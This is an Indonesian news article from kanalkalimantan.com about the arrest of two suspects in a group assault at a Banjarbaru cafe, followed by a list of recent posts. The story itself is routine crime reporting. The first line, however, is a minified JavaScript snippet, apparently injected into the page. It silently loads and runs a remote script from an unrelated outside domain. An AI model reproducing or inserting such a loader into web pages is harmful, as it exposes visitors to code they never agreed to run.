(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Dua Buron Pengeroyokan di Cafe Asoka Tertangkap di Kapuas


KANALKALIMANTAN.COM, BANJARBARU – Dua dari tiga orang daftar pencarian orang (DPO) kasus pengeroyokan Dipa Gesang Sakban berhasil diamankan Macan Barbar Polsek Liang Anggang.

M (37) dan S (16) dibekuk polisi gabungan di Desa Lamunti Dadahup, Kabupaten Kapuas pada Jumat (18/2/2022) pukul 21.30 Wita.

Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aiptu Kardi Gunadi mengatakan, kedua pelaku setelah melakukan pengeroyokan terhadap korban Dipa Gesang Sakban kemudian melarikan diri usai melakukan penganiayaan.

“Kedua pelaku berhasil diamankan di Kabupaten Kapuas,” ujarnya.

 

 

Baca juga: Satu Pelaku Pengeroyokan di Liang Anggang Berhasil Dibekuk, Tiga Masih DPO

Dalam pengejaran pelaku, Unit Opsnal Polsek Liang Anggang dipimpin Aiptu Deden A Lesmana diback-up Unit Resmob Polres Kapuas untuk menindak lanjuti laporan kejadian pengeroyokan pada Senin (13/2/2022) pukul 02.00 Wita.

Masih kata Kasi Humas Polsek Liang Anggang, kemudian pelaku diamankan di Polsek Liang Anggang guna proses lebih lanjut.

Dari keterangan kedua pelaku, kata Kasi Humas, M alias Usid memukul bagian muka korban sebanyak dua kali hingga terjatuh, kemudian menendang bagian belakang korban dua kali.

“Sementara pelaku S memukul bagian muka dan badan korban puluhan kali,” tambahnya. Berdasarkan kejadian tersebut pelaku diganjar Pasal 170 KUHP.

Sekedar diketahui pelaku pengeroyokan terdiri empat orang, FH (19) tertangkap pada Selasa (15/2/2022) malam, di sebuah warung di Karang Jawa, Kelurahan Landasan Ulin Tengah Kec Landasan Ulin kota Banjarbaru.

Baca juga: Enam Waria Diamankan Satpol PP Dalam Satu Kos

Menyusul M (37) dan S 16) berhasil diamankan tim gabungan di Kapuas, tiga dari empat pelaku sudah berhasil diamankan. Tersisa Amang yang masih DPO. “Satu pelaku masih DPO,” tuntasnya.

Pengeroyokan terjadi di Cafe Asoka Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Landasan Ulin, pada Senin (13/2/2022) sekitar pukul 02.00 Wita.

Korban pengroyokan Dipa Gesang Sakban mengalami luka parah di kepala bagian belakang mengalami luka robek dan pipi atas sebelah kiri akibat senjata tajam dari pelaku. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 menit ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

2 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

21 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

This website uses cookies.